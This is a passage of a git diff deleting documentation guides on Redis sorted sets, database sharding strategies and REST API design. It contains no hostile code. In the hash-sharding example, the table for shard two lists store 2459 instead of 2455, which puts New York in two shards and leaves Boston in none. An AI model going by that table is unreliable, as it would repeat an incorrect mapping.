on their scores. For many use cases, this is more practical than `ZRANGE`, as you are more likely to know the range of scores than the range of indices: - - ZRANGE example_sorted_set 1 8 BYSCORE - - {{< output >}} -1) "E test value" -2) "D test value" -3) "C test value" - {{< /output >}} - - The scores in the command are inclusive by default. Precede the score in the command with a `(` (as in `(1 (8`) to make the search exclusive. - -#### By Lexical Order - -By default, Redis's Sorted Sets order items with the same scores lexically based on the items' values. So, "A test value" comes before "B test value" if both have matching scores. - -To make an alphabetical Sorted Set, you just apply the same score to all values in the Set, as in: - - ZADD example_sorted_set_three 0 "E test value" 0 "D test value" 0 "C test value" 0 "B test value" 0 "A test value" - ZRANGE example_sorted_set_three 0 -1 - -{{< output >}} -1) "A test value" -2) "B test value" -3) "C test value" -4) "D test value" -5) "E test value" -{{< /output >}} - -When you want to fetch a range based on its lexical sorting, you can use the `BYLEX` option with the `ZRANGE` command. Precede the beginning and ending strings (`B` and `D`, respectively, in this next example) with either `(` for exclusive search or `[` for inclusive search. - - ZRANGE example_sorted_set_three [B [D BYLEX - -{{< output >}} -1) "B test value" -2) "C test value" -{{< /output >}} - -Notice that the `D test value` is excluded from the range above. This is because the ending search string is `D`, which comes before `D test value` lexically. You can include this value as shown in the command below: - - ZRANGE example_sorted_set_three [B [Dz BYLEX - -{{< output >}} -1) "B test value" -2) "C test value" -3) "D test value" -{{< /output >}} - -### Modify Elements in a Sorted Set - -You can update an element's score in a Sorted Set using the `ZADD` command again. Recall that Sets and Sorted Sets are collections of *unique* values. So, when you use the `ZADD` command for a value already in a Sorted Set, only the value's score is changed. No new entry gets added. - - ZADD example_sorted_set 2 "A test value" - ZRANGE example_sorted_set 0 -1 - -{{< output >}} -1) "A test value" -2) "E test value" -3) "D test value" -4) "C test value" -5) "B test value" -{{< /output >}} - -### Remove Elements from a Sorted Set - -The `ZPOPMIN` and `ZPOPMAX` commands covered in [Fetch Elements from a Sorted Set](/cloud/guides/using-sorted-sets-in-redis-database/#by-order) removes the lowest scored and highest scored elements, respectively. - -Sorted Sets also have access to the `ZREM` command, which lets you remove an element based on its value. - - ZREM example_sorted_set "A test value" - ZRANGE example_sorted_set 0 -1 - -{{< output >}} -1) "E test value" -2) "D test value" -3) "C test value" -4) "B test value" -{{< /output >}} - -Redis additionally has a dedicated set of commands for removing ranges of elements based on where they are ordered. You can see an example of these commands below. - - ZADD example_sorted_set_four 1 "F" 2 "E" 3 "D" 4 "C" 5 "B" 6 "A" - ZADD example_sorted_set_five 0 "L" 0 "K" 0 "J" 0 "I" 0 "H" 0 "G" - -- The `ZREMRANGEBYSCORE` command removes a range of elements based inclusively on given scores: - - ZREMRANGEBYSCORE example_sorted_set_four 3 5 - ZRANGE example_sorted_set_four 0 -1 - - {{< output >}} -1) "F" -2) "E" -3) "A" - {{< /output >}} - -- The `ZREMRANGEBYRANK` command removes a range of elements on indices, again, inclusively: - - ZREMRANGEBYRANK example_sorted_set_four 2 -2 - ZRANGE example_sorted_set_four 0 -1 - - {{< output >}} -1) "F" -2) "E" -3) "A" - {{< /output >}} - -- The `ZREMRANGEBYLEX` command removes a range of elements based on a lexical range, assuming all of the elements have the same score: - - ZREMRANGEBYLEX example_sorted_set_five [I (L - ZRANGE example_sorted_set_five 0 -1 - - {{< output >}} -1) "G" -2) "H" -3) "L" - {{< /output >}} - -## Conclusion - -This guide provides you the basis for beginning to work with Sorted Sets. You have the tools for creating, viewing, and modifying them, and should be ready to put them to use in your Redis database. diff --git a/docs/guides/databases/sql-syntax/sharded-database/index.md b/docs/guides/databases/sql-syntax/sharded-database/index.md deleted file mode 100644 index 70edcb60e73..00000000000 --- a/docs/guides/databases/sql-syntax/sharded-database/index.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -slug: sharded-database -title: "Database Sharding: Concepts, Examples, and Strategies" -description: 'Database sharding divides data into smaller chunks and distributes it across different database nodes. Learn more about sharding practices and strategies.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-05-26 -modified: 2024-11-14 -keywords: ['sharded database','db sharding','sharding strategy','database sharding examples'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Wikipedia page on database sharding](https://en.wikipedia.org/wiki/Shard_(database_architecture))' -- '[MongoDB explanation of database sharding](https://www.mongodb.com/features/database-sharding-explained)' ---- - -Many software applications use a *relational database management system* (RDBMS) to store data. As the database grows, it becomes more time-and-storage intensive to store the data. One popular solution to this problem is [*database sharding*](https://en.wikipedia.org/wiki/Shard_(database_architecture)). A sharded database distributes the records in a database's tables across different databases on different computer systems. This guide explains how database sharding works and discusses some of the advantages and disadvantages of sharding. It also describes some of the main sharding strategies and provides some database sharding examples. - -## What is Database Sharding? - -As databases grow larger, they can be scaled in one of two ways. *Vertical scaling* involves upgrading the server hosting the database with more RAM, CPU ability, or disk space. This allows it to store more data and process a query more quickly and effectively. *Horizontal scaling*, which is also known as "scaling out", adds additional servers to distribute the workload. - -Data sharding is a common way of implementing horizontal scaling. Database sharding divides the table records in a database into smaller portions. Each section is a *shard*, and is stored on a different server. The database can be divided into shards based on different methods. In a simple implementation, the individual tables can be assigned to different shards. More often, the rows in a single table are divided between the shards. - -*Vertical partitioning* and *horizontal partitioning* are two different methods of partitioning tables into shards. Vertical partitioning assigns different columns within a table to different servers, but this technique is not widely used. In most cases, horizontal partitioning/sharding is used to implement sharding, and the two terms are often used interchangeably. Horizontal sharding divides the rows within a table amongst the different shards and keeps the individual table rows intact. - -{{< note >}} -Vertical partitioning and horizontal partitioning should not be confused with vertical and horizontal scaling. -{{< /note >}} - -The shards are distributed across the different servers in the cluster. Each shard has the same database schema and table definitions. This maintains consistency across the shards. Sharding allocates each row to a shard based on a sharding key. This key is typically an index or primary key from the table. A good example is a user ID column. However, it is possible to generate a sharding key from any field, or from multiple table columns. The selection of the sharding key should be reasonable for the application and effectively distribute the rows among the shards. For example, a country code or zip code is a good choice to distribute the data to geographically dispersed shards. Sharding is particularly advantageous for databases that store large amounts of data in relatively few tables, and have a high volume of reads and writes. - -Each shard can be accessed independently and does not necessarily require access to the other shards. Different tables can use different sharding techniques and not all tables necessarily have to be sharded. As an ideal, sharding strives towards a *shared-nothing* architecture, in which the shards do not share data and there is no data duplication. In practice, it is often advantageous to replicate certain data to each shard. This avoids the need to access multiple servers for a single query and can result in better performance. - -The following example demonstrates how horizontal sharding works in practice. Before the database is sharded, the example `store` table is organized in the following way: - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | -| 1350 | Chicago | IL | 60601 | -| 2101| Cleveland | OH | 44114 | -| 2250 | Pittsburgh | PA | 15222 | -| 2455 | Boston | MA | 02108 | -| 2459 | New York | NY | 10022 | - -After sharding, one shard has half the rows from the table. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | -| 2101| Cleveland | OH | 44114 | -| 2455 | Boston | MA | 02108 | - -The second shard contains the remainder of the rows. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1350 | Chicago | IL | 60601 | -| 2250 | Pittsburgh | PA | 15222 | -| 2459 | New York | NY | 10022 | - -Sharding does not necessarily make any backup copies of the data. Each record is still only stored on a single server. *Replication* is used to copy information to another server, resulting in primary and secondary copies of the data. Replication enhances reliability and robustness at the cost of additional complexity and resources. Sharded databases can be replicated, but the procedure for doing so can be very complex. - -Replication and caching are both potential alternatives to sharding, particular in applications which mainly read data from a database. Replication spreads out the queries to multiple servers, while caching speeds up the requests. See our guide [How to Configure Source-Replica Replication in MySQL](/cloud/guides/configure-source-replica-replication-in-mysql/) to learn more about data replication. - -## Pros and Cons of a Sharded Database - -Generally, a horizontal scaling approach is more robust and effective than vertical scaling. Vertical scaling is much easier to implement, because it mainly consists of hardware upgrades. It might be the correct approach to take with a medium-sized database that is slowly reaching its limit. However, it is impossible to scale any system indefinitely, and ongoing growth rapidly becomes unmanageable. The limits of vertical scaling usually lead administrators to seek another alternative. - -Horizontal scaling allows systems to achieve a much higher scaling rate. Additional servers can be added as required, permitting the database system to organically grow and access additional resources. It provides administrators with much more flexibility. - -Database sharding is a horizontal scaling strategy, so it shares the advantages of this approach. However, it also offers several additional benefits, including the following: - -- It improves performance and speeds up data retrieval. Based on the sharding key, the database system immediately knows which shard contains the data. It can quickly route the query to the right server. Because each shard only contains a subset of the rows, it is easier for the database server to find the correct entry. -- Additional computing capacity can be added with no downtime. Sharding increases the data storage capacity and the total resources available to the database. -- It can be more cost efficient to run multiple servers than one mega-server. -- Sharding can simplify upgrades, allowing one server to be upgraded at a time. -- A sharded approach is more resilient. If one of the servers is offline, the remaining shards are still accessible. Sharding can be combined with high availability techniques for even higher reliability. -- Many modern database systems provide some tools to assist with sharding, although they do not completely automate the process. - -Unfortunately, sharding also has drawbacks. Some of the downsides include: - -- Sharding greatly increases the complexity of a software development project. Additional logic is required to shard the database and properly direct queries to the correct shard. This increases development time and cost. A more elaborate network mesh is often necessary, which leads to an increase in lab and infrastructure costs. -- Latency can be higher than with a standard database design. -- [SQL join operations](/cloud/guides/sql-joins/) affecting multiple shards are more difficult to execute and take longer to complete. Some operations might become too slow to be feasible. However, the right design can facilitate better performance on common queries. -- Sharding requires a lot of tuning and tweaking as the database grows. This sometimes requires a reconsideration of the entire sharding strategy and database design. Uneven shard distribution can happen even with proper planning, causing the distribution to unexpectedly become lopsided. -- It is not always obvious how many shards and servers to use, or how to choose the sharding key. Poor sharding keys can adversely affect performance or data distribution. This causes some shards to be overloaded while others are almost empty, leading to hotspots and inefficiencies. -- It is more challenging to change the database schema after sharding is implemented. It is also difficult to convert the database back to its pre-sharded state. -- Shard failures can cause cross-shard inconsistencies and other failures. -- Backup and replication tasks are more difficult with a sharded database. -- Although most RDBMS applications provide some sharding support, the tools are often not robust or complete. Most systems still do not fully support automatic sharding. - -## Database Sharding Strategies: Common Architectures - -Any sharding implementation must first decide on a db sharding strategy. Database designers must consider how many shards to use and how to distribute the data to the various servers. They must decide what queries to optimize, and how to handle joins and bulk data retrieval. A system in which the data frequently changes requires a different architecture than one that mainly handles read requests. Replication, reliability and a maintenance strategy are also important considerations. - -The choice of a sharding architecture is a critical decision, because it affects many of the other considerations. Most sharded databases have one of the following four architectures: - -- **Range Sharding**. -- **Hashed Sharding**. -- **Directory-Based Sharding**. -- **Geographic-Based Sharding**. - -### Range Sharding - -Range sharding examines the value of the sharding key and determines what range it falls into. Each range directly maps to a different shard. The sharding key should ideally be immutable. If the key changes, the shard must be recalculated and the record copied to the new shard. Otherwise, the mapping is destroyed and the location could be lost. Range sharding is also known as dynamic sharding. - -As an example, if the `userID` field is the sharding key, then records having IDs between 1 to 10000 could be stored in one shard. IDs between 10001 and 20000 map to a second shard, and those between 20001 and 30000 to a third. - -This approach is fairly easy to design and implement, and requires less programming time. The database application only has to compare the value of the sharding key to the predefined ranges using a lookup table. This scheme is also easier to redesign and maintain. Range sharding is a good choice if records with similar keys are frequently viewed together. - -Range sharding works best if there are a large number of possible values that are fairly evenly distributed across the entire range. This design works poorly if most of the key values map to the same shard. Unfortunately, this architecture is prone to poor distribution of rows among the shards. A good design can still lead to an unbalanced distribution. For example, older accounts are more likely to have been deleted over the years, leaving the corresponding shard relatively empty. This leads to inefficiencies in the database. Choosing fairly large ranges can reduce, but not eliminate, this possibility. - -The database sharding examples below demonstrate how range sharding might work using the data from the `store` database. In this case, the records for stores with store IDs under 2000 are placed in one shard. Stores possessing IDs of 2001 and greater go in the other. - -The first shard contains the following rows: - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | -| 1350 | Chicago | IL | 60601 | - -The second shard has the following entries: - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 2101| Cleveland | OH | 44114 | -| 2250 | Pittsburgh | PA | 15222 | -| 2455 | Boston | MA | 02108 | -| 2459 | New York | NY | 10022 | - -This results in a slightly imbalanced distribution of records. However, as new stores are added, they might be assigned larger store IDs. This leads to a greater imbalance as time goes on. - -To keep the database running efficiently, shards and ranges have to be regularly rebalanced. This might involve splitting the shards apart and reassigning the data, or merging several smaller shards. If the data is not regularly monitored, performance can steadily degrade. - -### Hash Sharding (Key-Based) - -Hash-based sharding, also known as key-based or algorithmic sharding, also uses the shard key to determine which shard a record is assigned to. However, instead of mapping the key directly to a shard, it applies a hash function to the shard key. A hash function transforms one or more data points to a new value that lies within a fixed-size range. In this case, the size of the range is equal to the number of shards. The database uses the output from the hash function to allocate the record to a shard. This typically results in a more even distribution of the records to the different shards. - -This method allows multiple fields to be used as a compound shard key. This eliminates clumping and clustering, and is a better approach to use if several records can share the same key. Hash functions vary in complexity. A simple hash function calculates the remainder, or modulus, of the key divided by the number of shards. More complex hashing algorithms apply mathematically advanced equations to multiple inputs. However, it is important to use the same hash function on the same keys for each hashing operation. As with range sharding, the key value should be immutable. If it changes, the hash value must be recalculated and the database entry remapped. - -Hash sharding is more efficient than range sharding because a lookup table is not required. The hash is calculated in real time for each query. However, it is impossible to group related records together, and there is no logical connection between the records on a given shard. This requires most bulk queries to read records from multiple shards. Hash sharding is more advantageous for applications that read or write one record at a time. - -Hash sharding does not guarantee that the shards are destined to remain perfectly balanced. Patterns in the data still might lead to clustering, which can occur purely by chance. Hash sharding complicates the tasks of rebalancing and rebuilding the shards. To add more shards, it is usually necessary to re-merge all the data, recalculate the hashes, and reassign all the records. - -The following database sharding example demonstrates a simple hash sharing operation. It uses the simple hash function `store_ID % 3` to assign the records in the `store` database to one of three shards. The first step is to calculate a hash result for each entry. - -{{< note >}} -The hash results are not actually stored inside the database. They are shown in the final column for clarity. -{{< /note >}} - -| `store_ID` | `city` | `state` | `zip_code` | hash result | -|:-:|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | 2 -| 1350 | Chicago | IL | 60601 | 0 -| 2101| Cleveland | OH | 44114 | 1 -| 2250 | Pittsburgh | PA | 15222 | 0 -| 2455 | Boston | MA | 02108 | 1 -| 2459 | New York | NY | 10022 | 2 - -Rows having a hash result of `0` map to the first shard. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1350 | Chicago | IL | 60601 | -| 2250 | Pittsburgh | PA | 15222 | - -Those that have a hash result of `1` are assigned to shard number two. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 2101| Cleveland | OH | 44114 | -| 2459 | New York | NY | 10022 | - -The remainder are stored in the third shard. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | -| 2459 | New York | NY | 10022 | - -In this case, although the data set is quite small, the hash function still distributes the entries evenly. This is not always the case with every database. However, as records are added, the distribution is likely to remain reasonably balanced. - -### Directory-Based Sharding - -Directory-based sharding groups related items together on the same shard. This is also known as entity or relationship-based sharding. It typically uses the value contained in a certain field to decide what shard to use. Directory sharding is accomplished through the use of a static lookup table. The table contains a list of mappings between each possible value for the field and its designated shard. Each key can only map to one shard and must appear in the lookup table exactly once. However many keys can potentially be mapped to the same shard. - -As an example, the records in a table of customers can be mapped to shards based on the customer's home state. The lookup table contains a list of all fifty states, which are the shard keys, and the shard it maps to. This allows for a system design where the records of all customers living in New England are stored on the first shard. Clients in the Mid-Atlantic are located on shard two. Clients residing in the Deep South are mapped to the third shard. - -Directory-based sharding provides a high level of control and flexibility in determining how the data is stored. When intelligently designed, it speeds up common table joins and the bulk retrieval of related data. This architecture is very helpful if the shard key can only be assigned a small number of possible values. Unfortunately, it is highly prone to clustering and imbalanced tables, and the overhead of accessing the lookup table degrades performance. However, the benefits of this architecture often outweighs its drawbacks. - -Directory-based sharding is a good choice for the `stores` database. The store entries can be distributed to the different shards based on their location. In this design, locations in New England and the mid-Atlantic are stored in the first shard, which serves as the North-East shard. Stores in the Midwest are written to the second shard. - -The first shard contains the entries displayed below. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 2250 | Pittsburgh | PA | 15222 | -| 2455 | Boston | MA | 02108 | -| 2459 | New York | NY | 10022 | - -The second shard contains the remainder of the data. - -| `store_ID` | `city` | `state` | `zip_code` | -|:-:|:-:|:-:|:-:| -| 1001 | Detroit | MI | 48201 | -| 1350 | Chicago | IL | 60601 | -| 2101| Cleveland | OH | 44114 | - -Although these two shards are perfectly balanced, this is not the main goal of directory sharding. It instead seeks to generate useful and relevant shards of closely-related information, which this example also accomplishes. - -### Geographic-Based Sharding - -Geographic-based sharding, or *Geo-sharding*, is a specific type of directory-based sharding. Data is divided amongst the shards based on the location of the entry, which relates to the location of the server hosting the shard. The sharding key is typically a city, state, region, country, or continent. This groups geographically similar data on the same shard. It works the same way directory-based sharding does. - -A good example of geo-sharding relates to geographically dispersed customer data. The customer's home state is used as a sharding key. The lookup table maps customers living in states in the same sales region to the same shard. Each shard is located on a server located in the same region as the customer data it contains. This makes it very quick and efficient for a regional sales team to access customer data. - -## Is Sharding Right For Your Business? - -Because sharding has both advantages and drawbacks, it is important to consider which type of database benefits the most from sharding. The first part of any sharding strategy is to decide whether to shard at all. To generalize, sharding makes the most sense for a high-volume database that stores a large amount of data in a few simple tables. Sharding is especially compelling if a company expects a large increase in the size of its database. Sharding is also useful for organizations that want to access or co-locate their data on a regional basis. For instance, a large social media company would want its users to access database servers in the same country or on the same continent. This requires the company to shard its data based on user location. - -In other cases, the complexity and difficulty associated with sharding are greater than the benefits. A database with many small to medium-sized tables could use vertical scaling, increasing the storage and computing power on a single server. It could also use alternative strategies such as replication for greater resilience and read-only throughput. - -## Conclusion - -This guide answers the question, "What is database sharding?". Sharding is a method of distributing the data in a database table to several different shards based on the value of a sharding key. Each shard is stored on a different server. Ideally, the records in a sharded database are distributed amongst the shards in an equitable manner. The different shards share the same table definitions and schemas, but each record is only stored on a single shard. - -Sharding allows a database to scale horizontally, taking advantage of the increased storage, memory, and processing power that only multiple servers can offer. It also increases resiliency and performance. Each query only has to search through a portion of the total records, which is much faster. As a drawback, sharding increases the complexity of a database and increases the difficulty of joins and schema changes. - -Sharding can be accomplished using range sharding, hash sharding, or directory-based sharding. Range sharding is the easiest method, but is more likely to result in unequal shards. Hash sharding more effectively distributes the records, but is more difficult to implement. Directory-based sharding groups related items together on the same shard. - -A sharded database can be implemented using multiple Linode servers. Linode allows you to configure a full web application on a powerful Linux operating system running the industry-standard LAMP stack. Choose from a high-performance [*Dedicated CPU*](https://www.linode.com/products/dedicated-cpu/) service, or a flexible and affordable [*Shared CPU*](https://www.linode.com/products/shared/) alternative. Similarly, you can also use our [Managed Database service](https://techdocs.akamai.com/cloud-computing/docs/managed-databases) to deploy a database cluster without the need to install and maintain the database infrastructure. - -{{% content "dbass-eos" %}} \ No newline at end of file diff --git a/docs/guides/development/architectures/api-design-best-practices/index.md b/docs/guides/development/architectures/api-design-best-practices/index.md deleted file mode 100644 index 3fbd4802a68..00000000000 --- a/docs/guides/development/architectures/api-design-best-practices/index.md +++ /dev/null @@ -1,213 +0,0 @@ ---- -slug: api-design-best-practices -title: "API Design Best Practices: Elevate Your Development Process" -title_meta: "REST API Best Practices for Design" -description: "Searching for API design best practices to elevate your development process? We identify some of the best practices you need to follow right now. ✓ Learn more!" -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-03-11 -keywords: ['api design best practices','api architecture','rest api design'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Microsoft Docs: RESTful Web API Design](https://docs.microsoft.com/en-us/azure/architecture/best-practices/api-design)' -- '[freeCodeCamp: REST API Best Practices – REST Endpoint Design Examples](https://www.freecodecamp.org/news/rest-api-best-practices-rest-endpoint-design-examples/ )' -- '[Swagger: Best Practices in API Design](https://swagger.io/resources/articles/best-practices-in-api-design/ )' -- '[Stack Overflow Blog: Best Practices for REST API Design](https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/)' ---- - -Looking for flexibility, many modern web applications are turning to microservices and effective APIs to connect those services consistently and effectively. REST APIs in particular stand out as perhaps the most pervasive architecture for connecting microservices today. - -To learn why that is and what the REST architecture has to offer, keep reading this tutorial. Learn what goes into a REST API and the best practices to make them work effectively for you. - -## What Is REST API? - -Generally, an API (Application Programming Interface) defines a set of rules for connections between applications or services. - -REST is a particular API architecture, short for Representational State Transfer. REST APIs (also called RESTful APIs) provide flexibility through resource-oriented design and stateless communications. - -REST architectures generally adhere to the following principles: - -- Center on *resources*. A resource can be an object, data, or a service. An example of a resource that a moving company might use is a `box` object. The API provides clients with access to resources. - -- Designate *identifiers* for resources. An identifier allows a client to retrieve a particular resource from the API using a specific URI. For instance, a `box` resource with the ID `9` might be retrieved with `/boxes/9`. - -- Establish *collections*. A collection is a group of resources that may be accessible through a more general URI. Continuing the example above, a collection of all `box` resources might be found with `/boxes`. - -- Exchange in *representations* of resources. Most often, a representation uses a format like JSON or XML to hold a resource. Using such an agreed upon representational format facilitates consistent processing of resources, both by clients and by the API. - -- Employ a *stateless* communication model. The API does not store transient state data, meaning that clients can work independently with consistency. - -- Follow a uniform interface. In most cases, as you can see throughout this guide, REST APIs use the HTTP interface. Several reasons support doing so, but the main are that HTTP uses open standards and does not lock you into a particular implementation. - - Essentially, anything that can make and/or interpret HTTP requests and response can participate with a REST API using HTTP. Thus, HTTP makes RESTful APIs easier to test, extend, and scale. - -## What Are REST API Best Practices? - -RESTful best practices center on two key concepts: - -- **Maintainability**. The design should capitalize on REST's inherent flexibility, ensuing that clients and services remain independent, extendable, and adaptable. - -- **Readability**. The services should be clear so that clients can make effective use of them and developers can effectively maintain and scale them. - -What follows is a list of best practices adhering to the above concepts. Applying these REST API best design standards makes your API more effective and your development more consistent. - -### Center on Resources - -Organize your RESTful API's endpoints around resources and collections of resources. The previous section gave an example of this practice. Using a URI like `/boxes` centers the API on resources. - -For this reason, URIs should generally consist of nouns identifying resources and collections. - -This approach also favors a relational URI design. Start with a collection (e.g. `boxes`) and use an identifier to specify a particular resource. You can then access a particular collection related to that resource. - -For example, you can fetch a `box` resource with ID `9` using something like `/boxes/9`. The API can also make it possible to then fetch a collection of `content` resources associated with that particular `box`. This might be done using a URI like `/boxes/9/contents`. You could go further to fetch a particular `content` resource from that collection using its ID, `5`: `/boxes/9/contents/5`. - -### Operate via HTTP Methods - -Use the HTTP methods for actions taken on resources and collections. Doing so keeps your API focused on resources while utilizing a standard approach to define operations related to those resources. - -To illustrate what this might look like, take a look at the following table: - -| URI | GET | POST | PUT | DELETE | -| :------------: | :----------: | :----------: | :----------: | :----------: | -| /boxes | Fetch all boxes | Create a new box | Update all boxes | Delete all boxes | -| /boxes/9 | Fetch box ID 9 | N/A | Update box ID 9 | Delete box ID 9 | -| /boxes/9/contents | Fetch the contents of box ID 9 | Create a new content resource for box ID 9 | Update all contents for box ID 9 | Delete all contents from box ID 9 | - -This way, your API is able to handle all actions related to fetching, creating, and modifying resources without any additional endpoints. Using HTTP standards for actions makes it easier for developers to anticipate how to take particular actions on resources, without having to research specific documentation. - -For this reason, it's a good idea to avoid using verbs in URIs wherever feasible. This keeps your API consistent and predictable. If you need to use verbs for a URI, use them like a resource name. For example, to process a `box` resource with ID `9` for shipping, you might use `/boxes/9/send`. - -### Limit Results - -Make resource fetching more efficient by implementing pagination, filtering, sorting, and searching options for your REST API. Doing so lets clients fetch only the resources they need, which, in turn, improves network traffic. - -For instance, say a client intends to display a list of boxes. Good UI design typically has long lists divided into pages, so this client is taking that approach. Retrieving all of the boxes at once unnecessarily extends the load time, potentially degrading user experience. - -So, the API provides options that enable pagination. The client can thus use query string parameters to get one page of boxes at a time. This example assumes a page would have ten boxes listed and that the client is loading the second page: `/boxes?limit=10&page=2`. - -The same logic applies for filtering and searching. REST APIs should implement query strings on collection endpoints. This allows clients to limit responses to only what is needed. In this next example, the client would be able to fetch only the most recent boxes that are also in `pending` status: `/boxes?mostRecent=true&status=pending`. - -### Name Consistently - -Use consistent naming conventions for URIs. This means using the same conventions for all resources and collections. You may use a separate convention for parameters, like those used in query strings, but you need to adhere to it consistently as well. - -What follows are some particular recommendations based on general naming standards. These are not absolute rules. However, following these conventions can make your APIs easier for developers to adapt to, since they are common in the web development field. - -- Use single words for resource and collection names. Ensure that collection names are plurals of the resources they group, as in `boxes` for a collection of `box` resources. - -- Should you need more than one word for a resource/collection name, use "kebab case". Thus, a collection of herbal teas would be `herbal-teas`. - -- Should you need more than one word for parameters, use "camel case". For example, use `minValue` for a parameter giving a minimum value. This practice applies to both query string parameters and parameters housed in resource objects. The practice matches conventions for JSON design, the most frequently used representational format for REST APIs. - -### Employ Versioning - -Version your RESTful API when significant changes take effect that may impact clients. Requirements change, and one of the perks of REST APIs is adaptability. However, you don't want to negatively impact clients that already have expectations from the API. - -Versioning allows clients to continue accessing API endpoints as they were at a given point in time. At the same time, it allows you to continue moving the API forward for new clients and requirements. - -Three main approaches exist for versioning your REST APIs. - -- **URI Versioning**: This adds a version indicator to the URIs for your REST APIs. Commonly, APIs employ a simple version indicator at the beginning of the URI path. For instance, a client looking to fetch `box` ID `9` using the first version of the API might use `/v1/boxes/9`. - -- **Query-String Versioning**: This gives clients the option of indicating the desired version in a query string when making requests. One benefit of this approach is that the query string can be optional, with a default API version used when the query string is omitted. Here is an example of what a client might call to fetch `box` ID `9` from version `2` of the API: `/boxes/9?apiVersion=2`. - -- **Header Versioning**: This option works similarly to query-string versioning, but hides the process in the headers. Like query-string versioning, it has the advantage of being able to provide a default version. To give an example, here is a request to fetch `box` ID `9` from version `3` of the API: - - ```command - GET /boxes/9 - Custom-Header: api-version=3 - ``` - -Keep in mind that both header versioning and query-string versioning require the API to implement additional logic for processing versions. - -### Maintain Documentation - -Document your REST API. With proper documentation, you help developers quickly, efficiently, and accurately make use of endpoints. Ultimately, it saves significant time keeping developers on the same page and preventing duplicate work. - -Effective API documentation should include: - -- A list of endpoints. - -- A description for each endpoint. - -- An example request and response for each end point. - -Preferably, readers should also be able to test the requests right there in the documentation. Many good examples of REST API documentation allow readers to modify a base request object and immediately test the result in a web browser. - -Numerous tools exist to help with documenting REST APIs. Often, these can automatically generate a list of endpoints and basic request and response skeletons, easing the documentation effort significantly. They may also have built-in tools for letting users test API responses. Of these tools, [Swagger](https://swagger.io/) is perhaps the most popular and has seen the most widespread usage in recent years. - -### Implement Security - -Secure your RESTful API using SSL and authentication tokens. Using SSL protects API connections from attacks, while authentication allows you to ensure that only authorized users have access. - -To learn more about SSL certification, check out our guides [Understanding TLS Certificates and Connections](/cloud/guides/what-is-a-tls-certificate/) and [Securing Web Traffic Using Certbot](/cloud/guides/enabling-https-using-certbot/). - -Recall that REST APIs are stateless. Thus, the preferred path for authentication on REST APIs is through the use of authentication tokens. In this scenario, a client may post credentials to a given endpoint. The API validates the credentials and assigns the user a random token in response. The client must then include that token in its requests to other endpoints. - -You can find information on the implementation of JSON Web Tokens, for example, in our guide [User Authentication with JSON Web Tokens (JWTs) and Express](/cloud/guides/how-to-authenticate-using-jwt/). - -### Respond with Statuses - -Provide clear status and error codes using HTTP conventions. These provide a resource for clients to quickly and consistently interpret responses. Using the accepted HTTP conventions here carries the same benefits as using HTTP generally. Almost any client capable of sending and receiving HTTP requests and responses has the tools to interpret these codes. - -Doing so also means gracefully handling errors. When encountering an error processing a request, REST APIs should provide a response with an appropriate error code. - -To get you started, here's a broad overview of the HTTP status codes: - -| Code Range | Description | -| :---------: | :---------: | -| 100–199 | Informational responses | -| 200–299 | Success responses | -| 300–399 | Responses for redirects | -| 400–499 | Client-side error responses | -| 500–599 | Server-side error responses | - -Most REST APIs only use codes in the 200, 400, and 500 areas. Of these, here are some of the most common and useful: - -- `200` indicates a successful request that does not result in a resource being created. So you can typically see this code in response to things like `GET` and `PUT` requests. - -- `201` indicates a successful request in which a resource has been created. This is typically the response code for `POST` requests, although some `POST` requests do not result in the creation of a resource. - -- `400` indicates an error in the request, typically with the request body. This code can be used to indicate when the API was unable to parse the request body. - -- `401` indicates that the request did not provide appropriate authentication. This can be the case when the client omits authentication or uses an outdated authentication token. - -- `403` indicates that an otherwise authenticated client did not have access to the requested API or resource. - -- `404` indicates that the requested URI does not correspond to an API endpoint. - -- `500` indicates an internal server error. Typically, this response is provided when the server encounters an unknown error. - -You can find a more complete list of HTTP status codes, along with descriptions of each, in Mozilla's [HTTP response status codes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) documentation. - -### Include Related URIs - -Consider using *HATEOAS* or "Hypermedia as the Engine of Application State". This dictates that RESTful API usage should be based on response metadata rather than outside knowledge. This works by each request providing URIs for related request endpoints. - -For example, the `GET` response for the `box` resource with ID `9` could include URIs indicating how a client could operate on the resource: - -```file {lang="json"} -{ - "id": 9, - "numberOfContainedItems": 6, - "status": "pending", - "links": [ - { - "method": "PUT", - "action": "ship", - "uri": "/boxes/9/send" - }, - { - "method": "PUT", - "action": "receive", - "uri": "/boxes/9/receive" - } - ] -} -``` - -Following HATEOAS can make your services more adaptable to future changes. For one, it conveniently informs clients of available related endpoints. More importantly, URIs supplied in response add flexibility. Should a URI have to change, like from `/send` to `/ship` in the example above, the client does not have to modify its approach. It simply fetches the necessary URI from the response. - -## Conclusion - -REST APIs bring flexibility and consistency to your microservices, provided you implement them with best practices in mind. This tutorial walked you through standards you can apply when designing and implementing your own REST APIs. These principles can help you create and maintain efficient and manageable RESTful APIs. \ No newline at end of file diff --git a/docs/guides/development/ci/use-buildbot-for-software-testing-on-ubuntu/index.md b/docs/guides/development/ci/use-buildbot-for-software-testing-on-ubuntu/index.md deleted file mode 100644 index 91d1bea3c97..00000000000 --- 